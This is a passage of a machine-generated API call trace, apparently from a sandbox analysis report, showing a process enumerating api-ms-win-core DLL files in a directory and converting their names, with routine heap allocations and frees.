lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0041.740] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.740] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x90c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0041.741] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.741] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.741] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.741] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.741] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.741] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cce6934, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cce6934, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-localization-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.741] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.741] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0041.741] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", cchWideChar=39, lpMultiByteStr=0x90c288, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0041.741] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.741] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.741] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.741] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.741] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.741] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb85502d0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb85502d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x3760, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-localization-l1-2-0.dll", cAlternateFileName="")) returned 1 [0041.741] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.741] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 39 [0041.741] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", cchWideChar=39, lpMultiByteStr=0x90c120, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL", lpUsedDefaultChar=0x0) returned 39 [0041.741] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.741] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.741] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.741] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.741] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.741] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2cf941e2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2cf941e2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-localregistry-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.741] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.741] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0041.741] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x90c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0041.741] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.741] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.742] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.742] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.742] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.742] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0eae39, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0eae39, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-memory-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.742] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.742] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0041.742] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.742] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x90c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MEMORY-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0041.742] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.743] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.743] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.743] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.743] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.743] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1833b5, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1833b5, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25ab000, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-misc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.743] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.743] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 31 [0041.743] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", cchWideChar=31, lpMultiByteStr=0x90c288, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-MISC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 31 [0041.743] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.743] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.743] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.743] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.743] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.743] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-namedpipe-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.743] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.743] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0041.743] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x90c120, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-NAMEDPIPE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0041.743] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.743] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.743] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.743] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.743] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.743] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1f57d2, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1f57d2, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-processenvironment-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.743] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.743] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 45 [0041.743] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.743] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", cchWideChar=45, lpMultiByteStr=0x90c288, cbMultiByte=45, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 45 [0041.743] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.743] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.743] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.744] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.744] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.744] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d15d256, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d15d256, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1200, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-processthreads-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.744] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.744] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0041.744] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", cchWideChar=41, lpMultiByteStr=0x90c120, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 41 [0041.744] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.744] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.744] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.744] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.744] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.744] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8491bf0, ftCreationTime.dwHighDateTime=0x1d2fab4, ftLastAccessTime.dwLowDateTime=0xb8491bf0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xd8cc12b9, ftLastWriteTime.dwHighDateTime=0x1d0c15a, nFileSizeHigh=0x0, nFileSizeLow=0x2f60, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-processthreads-l1-1-1.dll", cAlternateFileName="")) returned 1 [0041.744] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.744] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 41 [0041.744] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", cchWideChar=41, lpMultiByteStr=0x90c288, cbMultiByte=41, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROCESSTHREADS-L1-1-1.DLL", lpUsedDefaultChar=0x0) returned 41 [0041.744] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.744] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.744] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.744] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.744] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.744] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1370f7, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1370f7, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-profile-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.744] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.744] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 34 [0041.744] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.744] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", cchWideChar=34, lpMultiByteStr=0x90c120, cbMultiByte=34, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-PROFILE-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 34 [0041.744] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.744] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.744] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.744] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.745] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.745] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d0c4cda, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d0c4cda, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-rtlsupport-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.745] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.745] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 37 [0041.745] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", cchWideChar=37, lpMultiByteStr=0x90c288, cbMultiByte=37, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-RTLSUPPORT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 37 [0041.745] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.745] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.745] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.745] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.745] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.745] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d1cf673, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d1cf673, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xc00, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-string-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.745] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.745] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 33 [0041.745] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c120 [0041.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", cchWideChar=33, lpMultiByteStr=0x90c120, cbMultiByte=33, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-CORE-STRING-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 33 [0041.745] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x40) returned 0x90c288 [0041.745] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c120) returned 1 [0041.745] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90c288) returned 1 [0041.745] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e950) returned 1 [0041.745] RtlFreeHeap (HeapHandle=0x900000, Flags=0x0, BaseAddress=0x90e8c8) returned 1 [0041.745] FindNextFileW (in: hFindFile=0x7327d0, lpFindFileData=0x53f804 | out: lpFindFileData=0x53f804*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d241a90, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d241a90, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x77714c20, dwReserved1=0x53f9c8, cFileName="api-ms-win-core-synch-l1-1-0.dll", cAlternateFileName="")) returned 1 [0041.745] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e8c8 [0041.745] RtlAllocateHeap (HeapHandle=0x900000, Flags=0x8, Size=0x80) returned 0x90e950 [0041.745] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, 